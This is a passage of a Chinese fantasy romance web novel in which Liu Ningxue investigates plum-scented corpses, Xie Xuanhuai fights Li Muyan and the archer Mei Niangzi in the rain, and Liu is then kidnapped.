难道谢玄淮一晚上都没有回来过吗?
想起他昨晚匆匆离去的背影,柳凝雪心中隐隐泛起不安,吃饱过后,她打算去赵国公府找林月明。
林月明昨晚就醒了,醒来过后吃完东西没过多久又睡了过去,所以现在的她极为精神。
经过那晚一事后,舅舅便不许她再随意出门,还派了人过来监守着,她只好装装样子在院子里玩射箭投壶。
当她听到柳凝雪来找她时,极为惊讶,“让她进来。”她吩咐下人道。
下人很快就将柳凝雪请了进来。
林月明坐在廊下,见她过来,问道:“来找我做什么?”
柳凝雪道:“我有一件事想请你帮忙。”
林月明眉梢轻挑,微感意外道:“找我帮忙?”
柳凝雪点了点头,林月明对她说:“过来坐吧。”
等柳凝雪来到她对面坐下后,她让侍女给她上了茶,才开口问道:“说吧,有什么事需要我帮忙的?”
柳凝雪扫了眼守在她身后的人,她们都是林月明舅舅派过来监视她的,也是在来的路上,柳凝雪才知道林月明被她舅舅禁足了。
林月明一眼明白她眼里的意思,挥了挥手,道:“咳咳,你们都下去吧,我和敬王世子妃聊点事。”
两位侍女听完一脸难色,其中一位道:“可是……郡主,大人他吩咐奴婢一定要守好你,寸步不离。”
林月明柳眉一竖,佯怒道:“你们都来这里了,那到底是听舅舅的还是听我的?若是不走,到时我向舅舅告上一状,小心我扒了你们的皮!”
两位侍女也是第一次接触到林月明,早就听闻永善郡主嚣张跋扈,无法无天,这些事说不定她真能做得出来。
可她们毕竟有大人的吩咐在身,一时也不敢乱动。
林月明道:“你们去一会儿又没什么关系,外面还有侍卫守着呢,怕什么呢?”
侍女听完,脸色和缓了许多,对林月明道:“是。”
屏退下人后,林月明对柳凝雪道:“说吧,什么神秘事不能被她们知道。”
柳凝雪凑近她,低声说:“我想去看一下之前死去的那几具尸体。”
林月明面色不掩疑惑地看着她,道:“你还没放弃查案?”
她以为之前柳凝雪是被要挟才答应的她,没想到她自己其实也想查,这么一想,似乎她查案的时候还挺认真的。
柳凝雪问她:“你就说,你能不能帮这个忙,若是你帮了,以后我们就是过命的交情。”
林月明听着,看她的眼神变得微微不满意,端着茶杯轻抿了一口,等着她的下文。
柳凝雪瞬间察觉出她的意思,便道:“不帮,我们也是朋友。”
林月明这才满意一笑,道:“不过是看几具,放心吧,包在我身上。”
柳凝雪当即谢过她,可她话锋一转,又道:“不过我也是有条件的,我也要去查案。”
39. 真相[这是加更] 他那样,……
柳凝雪拒绝不了她,想了想,说道:“可是门外的那些人怎么办?”
林月明颇为得意道:“柳凝雪,你也太小看我了吧?”
过了一会儿,柳凝雪就明白她话里是什么意思了,她女没料到林月明会在自己的房间里挖了个地道。
林月明过去八宝阁那里按下机关,随即,床边“咔哒”一声响起,挂画后的墙竟然被打开了,出现了一个地道。
林月明道:“进去吧。”
柳凝雪便跟着她进去了,林月明说:“以前我舅舅经常把我禁足在家里,我又想出去,没办法,只好在这里挖一个地道了,且这个地道只有我和长青知道,你就放心吧。”
柳凝雪道:“没想到,你还挺厉害的。”
两人边说着边走入黑暗中,待人进去后,墙又“咔哒”一声合上了。
林月明手拿着火折子带柳凝雪出了地道,这个地道并不长,没走几分钟就出去了。
出来后,两人又坐上马车去司灵监,林月明问她,道:“你怎么突然想去看那几具尸体啊?”
柳凝雪喝了口茶,说:“想证明一件事情,如果真像我想的那样的话,我们离抓住凶手很近了。”
“真的吗?”林月明有些怀疑道。
柳凝雪点了点头,清明的眼眸微眨,说:“我记得你上次和我说那几人死去的人,出生年日是相同的。”
林月明迟疑地看着她,道:“对啊,怎么了?”
柳凝雪手支着下颌作沉思状,如果真如她所想的那样,那么谢玄淮的生日应该就在那天,可她从未听说过谢玄淮的生日是什么时候。
联想起昨晚他急匆匆的样子,难道他自己也不知道吗?
柳凝雪摸了摸腰间的玉佩,唯一能知道的只有回到过去,可自上次开启一次梦往程序后就再没开启过了,莫非这个程序开启需要达到什么条件吗?
可上次玉佩是在谢玄淮那里的,她也不知道谢玄淮拿着玉佩做了什么。
正想着,林月明提醒她,说:“到了。”
两人即刻下了马车,林月明带着她去到了停尸间,守卫本不放行的,在林月明的威逼利诱之下,才肯给她们进去。
林月明对柳凝雪道:“只有一刻钟时间。”
柳凝雪说:“好。”
一刻钟已经足够了,林月明和柳凝雪掩着口鼻进去,然而却没有想象中的尸臭味。
柳凝雪松开帕子,四处打量了下,房间不大,只放了三具尸体,这三具尸体都出现了不同程度的腐烂,有的已经看不清原本面目了,还是江荨和沈如珩施法维持了现状。
林月明随意扫了眼,道:“最原先的两具尸体是在大理寺的,不过大理寺的人不管事,案子迟迟没破,后来出了张永升的案子才把两具尸体移过来的。”
柳凝雪听完倒没过多意外,她走到尸体旁边检查起来,林月明见她看得认真,也跟着过去看了。
柳凝雪在尸体边蹲下,凑过去轻嗅着,林月明见状,脸色一惊,刚想伸手去拉她,可见她似真有线索般,又忍了下来。
林月明问她:“是有什么不对劲吗?”
柳凝雪嗅完第一具尸体,起身道:“异香。”
“香?”林月明疑惑至极,“什么香?”
柳凝雪道:“梅香。”
林月明还是半信半疑,她也慢慢蹲下去闻,随着她的靠近,首先飘入鼻腔的不是尸臭味,而是浓烈的梅香,浓郁到让人想吐,甚至覆盖了原本的尸臭味。
林月明嫌弃地躲开了,道:“这什么味道,真难闻。”
说话间,柳凝雪已经去查看下一具尸体了,结果还是和第一具一样,都有一股梅香,而且随着死亡时间越长香就越浓。
令人更奇怪的是,梅香这么浓,但一旦离得远了些就闻不到了。
若不是柳凝雪早有所察,谁会莫名其妙地专门蹲下去闻尸体啊。
检查完尸体后,柳凝雪道:“这就是我和你说的线索。”
林月明在她身边道:“这香上京城大多数公子都会用,谁能联想到这种东西。”
“等一下。”林月明忽的脸色一凝,似是想到了什么,说道:“这个香,我好像在梅娘子身上闻到过,我就说怎么那么熟悉呢。”
柳凝雪急忙来到她身边,问她:“那现在梅娘子在哪?”
林月明道:“被我锁在府里了。”
自她第一天带走梅娘子开始,就一直把她关在府里。
柳凝雪面色有些白,道:“那快带我去见一下她。”
林月明道:“行。”
坐马车回府时,柳凝雪心上带着几分不安,越靠近真相,她内心的茫然就多了几分。
她问林月明道:“梅娘子,她是个什么样的人?她为什么会进满春楼?”
林月明道:“她是被自己的情郎卖进楼里的。”
在去找梅娘子之前,林月明就去查过梅娘子的身份了。
据说梅娘子原本不是上京人,而是随州人,十六岁时便长相貌美,艳冠群芳。
许多慕名而来,只为见梅娘子一面,可惜梅娘子出身贫寒,母亲去世得早,只有父亲和一个弟弟相依为命。
结果自己的父亲和弟弟都是烂透的人,父亲见色起意,对她行不轨之事,弟弟偷她辛辛苦苦卖花赚来的钱去逛花楼,赌博欠债将她送出去抵债。
梅娘子自然不可能依他们,连夜出逃了,也就是在逃跑的路上,她遇见那位情郎。
她因家庭原因,自幼缺爱渴求温暖,很快就坠入了所谓的爱河中。
一番温存过后,情郎答应她带她上京赶考,等高中了再娶她为妻,可惜梅娘子没等来高中,等来的是被卖进满春楼。
林月明接着道:“被卖进满春楼时,情郎骗何妈妈说是处女之身,何妈妈脑子一热就高价买下了,可后来才知她早已破身。”
“但为了钱,何妈妈只能硬着头皮去做生意,但毕竟话都放出去了,很多人都以为梅娘子就是处子,嚷嚷着让何妈妈拍卖,何妈妈哪敢呢,推迟了几个月,实在推不下去了,才硬着头皮上的。”
柳凝雪听完林月明的陈述,只觉得一阵心疼,梅娘子也太命苦了,但后来
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她又为什么走上了杀人的道路啊?
林月明轻“嘶”了一声,眉头轻蹙起,意味深长地看了柳凝雪一眼,道:“前几位除了出生日月相同以外,他们都找过梅娘子,如果梅娘子真是凶手的话,那下一个要死的人……”
柳凝雪心里一愣,对啊,死者都接触过梅娘子,那谢玄淮……
她实在没敢细想下去,毕竟她印象中的谢玄淮对情欲似乎并不怎么上心。
这时,柳凝雪忽然感觉某人的目光越来越不对劲了,她抬头看去,便见林月明那掩盖不住好奇的眼神。
她慢慢拖长了尾音,道:“你……”
话还没说完,柳凝雪就反驳了回去,说:“谢玄淮他不是这样的人!”
林月明怔了一下,后知后觉反应过来她说什么,不解道:“我不是说这个啊。”
柳凝雪脸上不禁一红,心想道:“不好,该死的嘴!”
林月明:“我想问的是,你是怎么知道这个线索的,按理说她杀的都是男子,我还以为你是在别的男子身上闻到的呢,没想到是谢玄淮,欸,你真的不喜欢他吗?”
柳凝雪绷着一张脸,道:“不喜欢,谁说我喜欢他了?”
林月明:“……”
“也是,他那样,谁喜欢得上。”
……
两人回到了赵国公府,林月明带着柳凝雪连忙往锁着梅娘子的地方赶。
即使是关押人,林月明也是准备了一间大屋,她拿着钥匙上去开门,可等大门打开时,房间却是空无一人的。
林月明疑惑道:“人呢?!”
柳凝雪走进屋子,打量了一下四周,屋子整洁有度,物品整齐摆放,丝毫不乱,若不是林月明说,她都不知道这里有过人。
林月明气得将手中钥匙一摔,道:“可恶!竟然跑了!”
此时,有侍卫过来道:“郡主,后院里发现被打晕的侍卫。”
怀疑梅娘子的时候,林月明便派了府上最有厉害的侍卫去看管她,别看一个女子柔柔弱弱,可能她就藏着一股强大的力量,蓄势待发。
显然,梅娘子就是这样的一个人。
林月明道:“关她的这十几天,我还真以为她不是什么凶手,乖得一点动静都没有,谁知……”
说着,林月明还有些许懊悔起来,早知道她就不该放松警惕。
柳凝雪说道:“她既然能在众目睽睽之下杀人,那便说明普通的监禁根本管不了她。”
“现在,我们要做的就是找出她在哪里,还有她是怎么杀人的,她在这一天逃出去,说不定就打算在今晚杀人呢?”柳凝雪的目光在这一刻变得深沉起来。
如果她要杀人,那今晚要杀的很有可能就是谢玄淮。
林月明脸色也变得凝重,道:“我先去通知江荨他们。”
如今的江荨正在和钦天监,司灵监的人加强封印阵法,也不知能不能赶得及。
走前,林月明又道:“你别太担心,我现在出不去,但长青会术法,我让她跟着你,你现在可是本郡主唯一的朋友了,不许出现意外。”
40. 雨夜
柳凝雪拧着眉,心事重重地点了个头,脑海却在想:
要是谢玄淮真的死了怎么办?
那她岂不是永远也回不了家了?!
所以,谢玄淮绝对不能再出意外了。
林月明让长青跟着柳凝雪回了敬王府,柳凝雪问了下人得知,谢玄淮还没有回来。
天空逐渐乌云密布,犹如墨水般笼罩在上京城的上方,不过一个下午,原本阳光明媚的天气就变得大雨连绵。
鬼市长久不见天日,在乌云压顶下,显得更为阴沉可怖。
“叮铃铃——”
空荡寂静的行道上忽然响起一串明亮的铃铛声,四个戴着鬼面面具的抬轿人抬着一顶轿子从厚重的烟灰中走出,侍立在一旁的蒙面人道:“公子,到鬼市了。”
话落,只见轿子的窗帘下伸出一只骨节分明修长的五指,他的大拇指上戴着一枚碧绿的板指,板指上隐隐有萤光流动,明眼人都能看出其价格不菲。
那人手指一抬,指向那道界线看不清路的前方,清冷悦耳如冰玉相击的声音从里传出,道:“进。”
侍卫:“是,公子。”
轿子便沿着界线进了鬼市,鬼市隐于上京城的地下城中,常年不见天日,且入口极为隐密难探。
想要进入鬼界,除非了身份高贵外,还必须要有信物作为进出鬼界的媒介。
鬼界交易不论人鬼,只要看中就可以进行卖买,而鬼界最大的卖家,就是地头蛇无方殿。
外界传言只要进了无方殿就一定要交易,就算不交易也要付价格不菲的出入费,若是付不起,好则断胳膊断腿,坏则丧命。
轿子一路行到了无方殿前,一路过来,引来了道上不少人鬼的目光,他们个个用面具覆着面,可那盯人时诡异恶毒的目光却怎么也藏不去。
入鬼市坐轿,非富即贵,这也是在暗示着轿子里的人不是他们能惹得起的。
无方殿前清冷空无,沿着几阶台阶而上便是挂着白纱的大门,说是门其实也只是以纱作挡,虽不看清里面的情境,但一般人若是不知道的话很容易便会误入。
轿子停下后,侍卫对里面的人道:“公子,到了。”
说着,侍卫便掀起了轿帘,被称为公子的人执着一把扇子从里走了出来。
他与众人一样都戴着清一色的鬼面,遮住整张脸,只剩一双冷如寒渊,深不可测的眼眸。
他抬脚走进无方殿中,一举一动尽显贵气,穿过薄雾之后便是一个平常的庭院,廊下白纱随风而动,庭院里一个人也没有。
他往前走了几步,将手中扇子打开,扇面从眼前滑过,扇面之后,是拿着扫帚等工具打扫庭院的“人”。
即是鬼市,那就不能用人的角度来看。
随着扇子移开,她们一个个都木讷地抬头看来,面上没有一丝生气,脸色惨白如纸。
被这么多双空洞的眼睛盯着,是个人都会发毛感到不安,可两人却习以为常。
那位公子道:“带我去你们的殿主。”
他语气冷冷不容置喙,便是在这时,一旁传来一道苍老沙哑的声音,道:“这位公子,别来无恙啊。”
两人闻声看去,便见一佝偻着腰,披着一张黑袍的白发走近,他捧着白蜡的手枯瘦干瘪,就好像一条枯萎的木材。
一阵轻风吹来,老人伸手挡了挡不停晃动的蜡,对他说:“跟我来。”
随即,老人将他们带到了一殿堂里,那些扫地的丫鬟在他们走后又渐渐消失在回廊上。
无方殿殿堂里,仍旧是昏暗一片,唯一的光亮只有从屋顶悬挂着垂下来的圆球,圆球中圈着一团团散发着淡蓝色光芒的魂灵,它们一见生人进来,便急燥着撞动圈着它们的球,似要突破而出将来人撕碎。
而此时无方殿殿主正站在高台上点着下一盏魂灵。
老人领着他一人进了殿,主殿只有交易之人能入。
“殿主。”老人喊了一声。
被称作殿主的人停下动作,随后挥手老人退下。
进了殿,那位公子便肆无忌惮地在檀木椅上坐下,两手搭在两边的茶桌上,慢悠悠地玩着拇指上的板指。
殿主点完魂灯,转过身来,望着下面的男子,悠悠道出一声,“别来无恙啊,敬王世子。”
谢玄淮冷哼一声,道:“不敢当,没死已是大幸。”
殿主默笑不语,他抬手“啪”的一下打了个响指,殿堂灯蜡应声而亮,殿中瞬间亮如白昼。
烛火映在殿主张牙舞爪的鬼面上,显得更为可怖了些。
他瘦脱相且惨白的修长手指一挥,谢玄淮手边便多了杯茶。
“老顾客了。”他道:“今日来又想要什么?看我能不能出得起。”
谢玄淮曲指敲了敲桌面,道:“我要的,你肯定给得起。”
又是这样的一句话,上一次他这么说是要什么来着?
哦,要把自己的心挖出来。
他一想到这个就忍不住牙痛,这人简直就是一个疯得不能再疯的疯子。
“说。”他在宝座上坐了下来。
谢玄淮淡声道:“帮我找到梅娘子行踪。”
现在梅娘子他目标是谁已经不重要了,只要找到她,杀了她再夺弓便行。
殿主有些讶异道:“你要夺怨灵弓?要我说这东西可不好控制,极易反噬持弓者。”
谢玄淮沉默着不说话,殿主甚感无趣,也不废话了,对他说:“筹码。”
谢玄淮毫不犹豫道:“四方镇的金蝉玉叶。”
殿主轻“嘶”了声,谢玄淮总是能开出他不能拒绝的筹码。
他笑了声,道:“成交。”
“出了鬼市,你就能看到她了。”
这趟交易无论如何都是他赚了,正待谢玄淮起身欲走时,他朝他的背影掷出一个小瓷瓶,道:“拿着,会有用的。”
谢玄淮即使背对着他,也稳稳地接住了瓷子,沉默地走出殿堂。
鬼市之外,上京城风雨连天,弦月隐在厚重的云层之后不见皎洁。
空旷的街道上,雨幕后走出一人,首先看到的是一把竹青色的油纸伞,再到他执着伞的修长指骨,纸伞缓慢抬起,露出伞下那张温和又冷漠的脸。
李慕言独自撑着伞走在雨夜中,今晚他出来杀一人。
有他在,始终是个变数。
他抬头环顾了周围一圈,可惜一个人影也无。
奇怪,能去哪呢?
他握紧了手中的两枚铜板,随即又重新算了一卦,卦象指的是这里没错。
那就是在这里了。
李慕言打量着四周,随后一个纵身,轻松跃上近前的屋顶,再继续朝着离这最近的测卦台而去。
测卦台的视野最好,能俯视着一切。
雨还在继续下着,大有转小的姿势,一顶轿子凭空出现在街道上,谢玄淮从里走了出来,侍卫迅速递上了油纸伞。
下轿后,轿子便消失了,影卫警惕地望着周边,道:“世子,小心。”
出了鬼市就能见到梅娘子,这么说她现在就在不远处,看着自己的一举一动。
谢玄淮并不喜欢这种时刻被人监视着的感觉。
他凭感觉甩出一张符纸,那符纸直直往测卦台而去。
李慕言握紧了伞往后退,躲过了符纸的攻击,随即,他手中变出一把剑来,从测卦台而下,直往谢玄淮刺去。
后者抬头望向测卦台处,两人视线相接,在剑快要刺到他的时候,谢玄淮一个侧身避开了李慕言的攻击。
影卫见状,忙上前帮谢玄淮对付李慕言,几个来回下去,两人才渐渐和他打平手,由此可见李慕言武功之高。
雨还在淅淅沥沥地下着,剑刃相碰的铿锵声不绝,李慕言一挑一刺间,随将影卫割喉而亡。
影卫被割了喉变作黑雾消散,谢玄淮站在雨幕中,眉目狠戾盯着前面的人,他的伞已经被李慕言打飞,碎成两半落在地面上。
隔着雨帘,李慕言剑指着谢玄淮,他把手中伞一抛,任由雨滴砸落在自己身上。
谢玄淮冷笑声道:“李监长,公然杀朝庭命官,不太好吧?”
李慕言温声道:“没什么不好的。”
“监副这个位置,你死了自然有人顶上。”
谢玄淮闻声咬紧了牙关,看来李慕言今日是非要杀了自己不可,他抬头看了下四周,仍旧没见梅娘子的身影。
趁着梅娘子还没出现,得先解决眼前这个麻烦才是。
想着,谢玄淮提剑疾速上前,锵一声响起,两人剑抵着剑,谁也不让谁分毫。
可李慕言的实力终究比自己高出不少,没几下就占了上风,打斗中,耳边传来李慕言的笑声,道:“你以为你打得过我吗?”
谢玄淮道:“不试试怎么知道?”
交手几个回合,李慕言不想再和他浪费时间,干脆动用术法,一掌将他打了出去。
谢玄淮被打得退后几步,他捂着胸口吐出一口血来,还没等他反应过来,李慕言再次用剑刺去,这一剑刺得又快又狠,谢玄淮堪堪躲过。
谢玄淮将全身的灵力汇聚在一掌之中,朝李慕言打出去,后者毫不犹豫地接下这一掌,两掌对接,强大的灵力波动,震得两人同时退后几步。
随即,谢玄淮从怀里取出一个小瓶子,拔开塞子将里面的液体灌了下去,喝完后,他的瞳孔以肉眼可见的速度涨红。
谢玄淮将瓶子一扔,说道:“李监长,既然今日你非要置我于死地,那就一起同归于尽吧,左右我不过烂命一条,死后有个伴儿也挺好的。”
李慕言脸色一沉,道:“你喝了什么?”
话音刚落,谢玄淮已提剑攻了上来,他的招术明显比刚才的要狠毒多了,且攻势极猛,术法和剑法交替打向李慕言,逼得他直往后退。
现在的他完全是没有理智的,只一心想置李慕言于是死地。
“疯子!”李慕言咬牙骂道。
李慕言是不会像他一样,烂命一条就是干的,他还有太多放不下的东西了,他使出浑身解数才和他打个平手。
雨中长剑相交的声音不断,两人迟迟未能分出胜负来,谢玄淮像不知疲倦似的,手上动作一点没慢过。
阴暗的天空雨雷交加,乌压压的一片,一眼望不到尽头,柳凝雪和长青站在高楼上眺望着远方,可惜雨势太大看不清。
她原本是想待在府里等谢玄淮回来的,可到后面越等心里就越发不安,她这才和长青出来找人。
柳凝雪问道:“长青,你有看见谁吗?”
长青摇头道:“没有。”
柳凝雪心里不禁疑惑,怪了,谢玄淮和梅娘子能去哪里呢?
正想着,忽听楼下有打斗声,柳凝雪低头看去,便见雨中两个打得难舍难分的身影,她努力辨析着,才认出那是谢玄淮和李慕言!
柳凝雪忙趴到了栏杆上,视线盯着两人的一举一动,就在这时,一道如箭形状般的红光对准了下首的人射去。
正对付着李慕言的谢玄淮隐隐察觉到身后不对,他本能地闪到一边,箭就这么擦着他肩膀而过。
他回首看去,果见不远处的高台上站着一位红衣女子,她手中持着一把无箭的弓,待她一拉弓时,弓上便凝成了一支箭搭在上面。
“咻——!”
又是一箭射出,谢玄淮迅速躲过,可李慕言却并给他反应的机会,长剑直向他心脏部位刺去。
“谢玄淮!!!”柳凝雪惊得大喊,“长青,快,去帮他。”
长青领命执着飞身而下,和谢玄淮一起对付李慕言。
柳凝雪尽量让自己平下心来掐诀,在来时,她记住了又一个高阶棋术阵法,只盼现在能起作用。
梅娘子站在楼上,这一拉弓便现出了三支箭,齐齐向谢玄淮射去。
谢玄淮躲过前两支却没能躲过后一支,红箭擦过他脖颈而去,但不见血流,他伸手摸了摸脖子,什么事都没有。
见箭已要中谢玄淮,梅娘子正要走时,面前忽然亮起一道金光将她团团围住。
她神色一愣,看向对面的高楼,就见柳凝雪脸上露着笑意,成了!
谢玄淮见长青拖住了李慕言,他转身朝梅娘子那边去,梅娘子武功一般,又有阵法将他困住了,一时不敌谢玄淮。
她拉弓再射出几支箭都被谢玄淮躲过,谢玄淮制住她,一把夺过她手中的弓,再一掌将她打出去,这一掌他同样也凝聚了全身的灵力,梅娘子被他打得退后几步,噗地吐出一口血来。
怨灵弓易手,发出急促的嗡鸣声,谢玄淮紧紧地握住它,试图去掌控它。
这时,辛婷仪和江荨,沈如珩等人赶到,李慕言见此只好先撤,谢玄淮拿到弓后,纵身一跃,下了高楼离去。
柳凝雪在另一侧的高楼上干着急,她往下看了眼,原本还打算跳下去的她止住了想法,算了还是走楼梯吧。
谢玄淮握着怨灵弓,扶着墙走着,刚才对付李慕言的时候已经快耗尽他体力了,现在又手握怨灵弓,如果不是怨灵弓自己选的主人,是会遭到反噬的。
现在谢玄淮已隐隐感觉到体内的不正常,他停下来施法,强制将怨灵弓封印进板指中,被封印的怨灵弓燥动了几下后,彻底安静下来。
谢玄淮靠着墙缓慢坐下来,他何曾这么狼狈过,束起的发早已凌乱,脸色惨白,唇角溢出一丝血来。
他忽地感觉脖颈一痛,他伸手去摸,结果摸了一手血,那里是被箭射过的地方,现在已经逐渐裂开,正往外潺潺流着鲜血。
他现在实在已经力尽,也无暇去管脖子上的伤口,他仰着脸,任由雨水打在自己身上。
脖子上流出的鲜血浸红了他的衣领,谢玄淮缓缓闭上了眼睛,想:他要死了吗?
可他又很不甘心,这十几年来,为了变强,他什么邪门歪道没有走过,为的就是将那些不堪一击的蝼蚁踩在脚下,在这个世界,本来就是弱肉强食。
只有你足够强,才没人敢轻视你。
往事如走马灯般在他脑海里闪过,可他想的最多的竟然是柳凝雪。
他觉得她就是一个奇女子,没心没肺的,总能莫名其妙地牵动自己的情绪,一开始他以为是复灵血的原因,可后来他发现似
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乎不是这样的,但他又说不上来那是什么感觉。
迷迷糊糊中,他好像听到了柳凝雪的焦急的喊声,道:“谢玄淮!!!”
谢玄淮顿了一下,是幻觉吗?
他想要挣开眼睛去看,但却没有力气去掀开厚重的眼皮,他只好放弃。
“谢玄淮,谢玄准!”柳凝雪撑着伞忙来他身前蹲下,看着脖子处触目惊心的伤口,她好生吓了一跳。
柳凝雪不敢随意碰他,她慌乱无措地看着他,伸手去将他额上的碎发拂到一边,声音哽咽道:“谢玄淮,你醒醒好吗?你不要吓我,我这就带你去医馆。”
谢玄淮依旧没有醒的迹象,这时,她脑海里忽然响起系统的声音,道:“任务完成,攻略进度达到百分之十,请宿主再接再厉。”
才百分十,为什么这么难攻略?
泪水混杂着雨水砸在谢玄淮的脸上,柳凝雪嗫嚅着道:“谢玄淮,你为什么就是不动心呢?”
“喜欢我不好吗?”
听到这句话时,谢玄淮的眼捷动了下,柳凝雪说着边低头去找身上的药,因为怕受伤,这次她特地带了止血药出来。
她将药粉轻轻撒在他的伤日上,再撕下一块布去给他包扎。
止过血后,谢玄淮撑着一口气对柳凝雪说:“药……”
“药?”柳凝雪怔了一下,忙在他身上摸索起来,果然找到了一个小瓷瓶,她快速打开从里倒出一颗喂到他嘴里。
吃过药后,谢玄淮明显恢复了一点力气,说:“走。”
“好。”柳凝雪将他扶起,刚走出几步,身后突然一片肃杀之气传来,几名刺客紧跟着落到两人身前。
谢玄淮顿住脚步,问她:“怕吗?”
柳凝雪如实回:“……怕。”
在刺客提刀上前的时候,谢玄淮抓起柳凝雪的手腕,快狠准地咬了一口,直至尝至甜腥味的血液才松开。
他的瞳孔再次扩红,柳凝雪还没反应过来就感觉手腕一痛,低头一看,洁白的手腕已经被他咬出了血。
谢玄淮不凭刀剑,单凭双手将那些刺客的脖子拧断,咔嚓咔嚓一声声接着响起,被杀的刺客的脖子以不同程度的扭曲倒在地上。
谢玄淮扭断最后一个刺客的脖子,道:“想杀我,不如让你们的主子亲自前来。”
刺客数量不多不少,但这已经用尽了谢玄淮所有的力气,他的身体根本承受不住两次爆走。
眼见谢玄淮就要倒下去了,柳凝雪忙上前扶住他,说:“去医馆。”
柳凝雪扶着他到最近的医馆的时候,谢玄淮已经彻底晕过去了,也不知他吃的那个药丸是什么,竟钓着他一口气。
大夫脱去他的外衣,给他包扎了伤口,止住了血,处理完一切,大夫从隔间后出来,对柳凝雪道:“伤口我已经包扎好了,夜间可能会有发热的迹象,熬过了今晚就没什么大事了。”
柳凝雪听完,抹了一把脸上的雨水,道:“谢谢大夫。”
这时,一位婆婆走了过来,对柳凝雪说道:“姑娘,你身上都湿透了,如果你不嫌弃的话,我这还有几件小女的衣服,她出嫁了左右也用不上。”
柳凝雪不喜欢身上被雨水打湿黏腻腻的感觉,所以她没有拒绝老婆婆的要求,跟着她去后院换了衣裳。
老婆婆和医馆大夫是夫妻,育有三女,但都出嫁了,留下他们二人诚心诚意经营医馆。
换好了衣裳后,柳凝雪又进隔间坐着等谢玄淮转醒,一直等到半夜,她迷迷糊糊中碰到谢玄淮的手,他手上的温度吓人,烫得她猛地缩回手。
柳凝雪瞬间清醒,跑到外面去叫大夫,大夫给谢玄淮换了药,又熬了药给他喝,才勉强控制住病情。
就这样折腾到凌晨,谢玄淮的体温已逐渐恢复正常。
忙好一切,柳凝雪只觉眼皮沉重,她随意趴在床边睡着了。
第二日,耀阳初升,屋里充斥着满是阳光的味道,床上的人悠悠转醒,谢玄淮伸手挡了挡刺目的日光,这才缓缓掀开眼帘。
等适应了强光后,他用手揉了揉疼痛的眉心,等缓和得差不多了,他才坐起身来。
昨夜的记忆略显模糊,他隐约记得柳凝雪一直待在自己的身边,他目光下移,望着趴在床边熟睡的柳凝雪,细长的眼捷轻颤,抬手想拂去她脸侧的一抹碎发。
可这时,他忽听柳凝雪喃喃道:“谢玄淮,你好像他……”
谢玄淮的手一顿,停在了半空中,眸底升起的一股瞬间化作冰冷,他冷声问:“像谁?”
柳凝雪:“……谢玄淮……”
是她所谓的前世的那个他吗?
谢玄淮的手紧握成拳,脸色越来越沉,心中猛地升起一股无法言说的怒火。
一见她还睡得如此安稳,他心里就更不舒服了,随即,他伸出一根手指去将柳凝雪狠狠戳醒。
可怜的柳凝雪还在睡梦中回到了现实世界,被这么一戳,她猛地惊醒,眼前的所有都化为泡影。
“怎么了怎么了?”柳凝雪惊坐起,她迷茫地看着四周,发现自己还处在古代,心底不禁一片失落。
她转头去看床上的谢玄淮,早在他将她戳醒时,就已快速地躺回床上了。
现下的他闭着眼,并不转醒。
柳凝雪叹了口气,伸出手背去探他额头的温度,不烫不凉,刚刚好。
随后,她又唤来大夫给他换药,换完药后,谢玄淮掐着时间醒过来,等柳凝雪再回到隔间的时候,他已经穿好衣服了。
她端着早餐来到他身边,说:“谢玄淮,你什么时候醒的?先用早膳吧。”
谢玄淮扫了眼她端过来的两碗小米粥,道:“不用了。”
说完,他便头也不回地走了。
“喂喂喂!”柳凝雪有点着急地看了看他远去的背影,又看了看桌上的粥,最后她端起其中一碗喝了大半才放下,又丢了几锭银子在那里才离开。
她一路追着谢玄淮来到街道上,跑到他身边问他:“谢玄淮!你要去哪里?”
谢玄淮抱着剑停下了脚步,侧眸看她道:“不关你事,别跟着我。”
柳凝雪总感觉他对自己冷淡了很多,但一想到以前他大多时候也是这样的,便不觉得奇怪了。
谢玄淮身高腿又长,没几步就隐入了人流当中,柳凝雪犹豫了几下,还是选择追了上去。
早上赶集的人极多,柳凝雪跟着那抹红色的发带而去,没一会儿就跟丢了。
她茫然地看了看四周,边找边喊道:“谢玄淮!!”
可惜没有人回应她,便在这时,她迎面撞上一人,那人穿得风度翩翩的,模样温温和和的,瞧着便让人生不起气。
他执着一把折扇拱手道:“姑娘,可是在寻找一个扎着红色发带的男子?”
听到这里,柳凝雪眼前一亮,道:“你知道他去哪了?”
那人随给她指了一条路,道:“往这条小巷子里去了。”
柳凝雪忙道:“多谢!”
那人笑道:“不用,为姑娘分忧是在下的荣幸……”
可惜话还没说完,柳凝雪已经走远了。
41. 倒霉
柳凝雪按照那位公子的指引一直往深巷里走去,这里房屋低矮,石阶上青苔满布,四处人声了无,天地间仿佛一片寂静。
越往里走,柳凝雪越感觉不对劲,谢玄淮真的往这边走了吗?
他来这里做什么?
看着前方越来越窄的小道,柳凝雪停下了脚步,心里疑惑丛生。
这时,她忽的听到身后传来细微的响动,正在慢慢地朝自己靠近,脑海中那股不好的预感更加强烈了。
在那动静又大了些的时候,柳凝雪鼓起勇气猛地回头一看,就见两个腰粗膀子圆的黑胡男子拿着粗绳向自己走来。
两人被她突然地回头惊得愣了一下,随即向她扑了上去,柳凝雪当即大喊一声跑了。
“我去!”
她三两下跳过面前的石阶往前逃,黑胡男子忙追了上去,结果没注意脚下的青苔,一脚踩在滑湿的地面上,春日的苔藓经雨后滑溜得很,他们“砰”的一下结结实实地摔在了地上。
他们摔得痛呼一声,也顾不得身上的疼痛,连忙趴起来去追人。
“小妮子!敢跑?!”他们边追边大喊着,那凶神恶煞的神情似要把柳凝雪给吃掉。
柳凝雪只恨自己识人不清,没想到那位公子看着斯斯文文的,竟然做这种见不得人的勾当。
她提着裙摆向前猛奔,心觉只要慢一步都会死。
两大汉没想到她能跑这么快,在后面拼了命地追赶她,他们追得越紧,柳凝雪就跑得越快,结果导致自己也没看清脚下青苔,扑通一声滑了一下去。
这一下狠得柳凝雪感觉自己的屁股都要碎了,她揉着臀喊道:“痛死我了。”
后面两人见状,紧随其后,又是扑通一声,三人齐齐摔倒在地。
没等柳凝雪反应过来,一个麻袋就套到了她的头上,接着就是两眼一黑,她整个人都被装进了麻袋里。
“真能跑啊!”一个大汉气喘吁吁道。
“可算是抓到了!”另一人道。
“这二哥怎么净整些难搞的女人……”
——
屋宇内檀香袅袅,混杂着清淡的茶香涌入心肺,侍女将煮好的茶倒进茶盏中,再端过去给坐桌案前的人。
渡青从门外走了进来,对座上的人一拜,说道:“公子,已经查到柳姑娘的行踪了。”
李慕言刚端起茶盏的手一顿,他狭长的凤眸微抬,眸色冷而淡,开口问他道:“去哪了?”
渡青回道:“被一伙人马拐到恭州去了。”
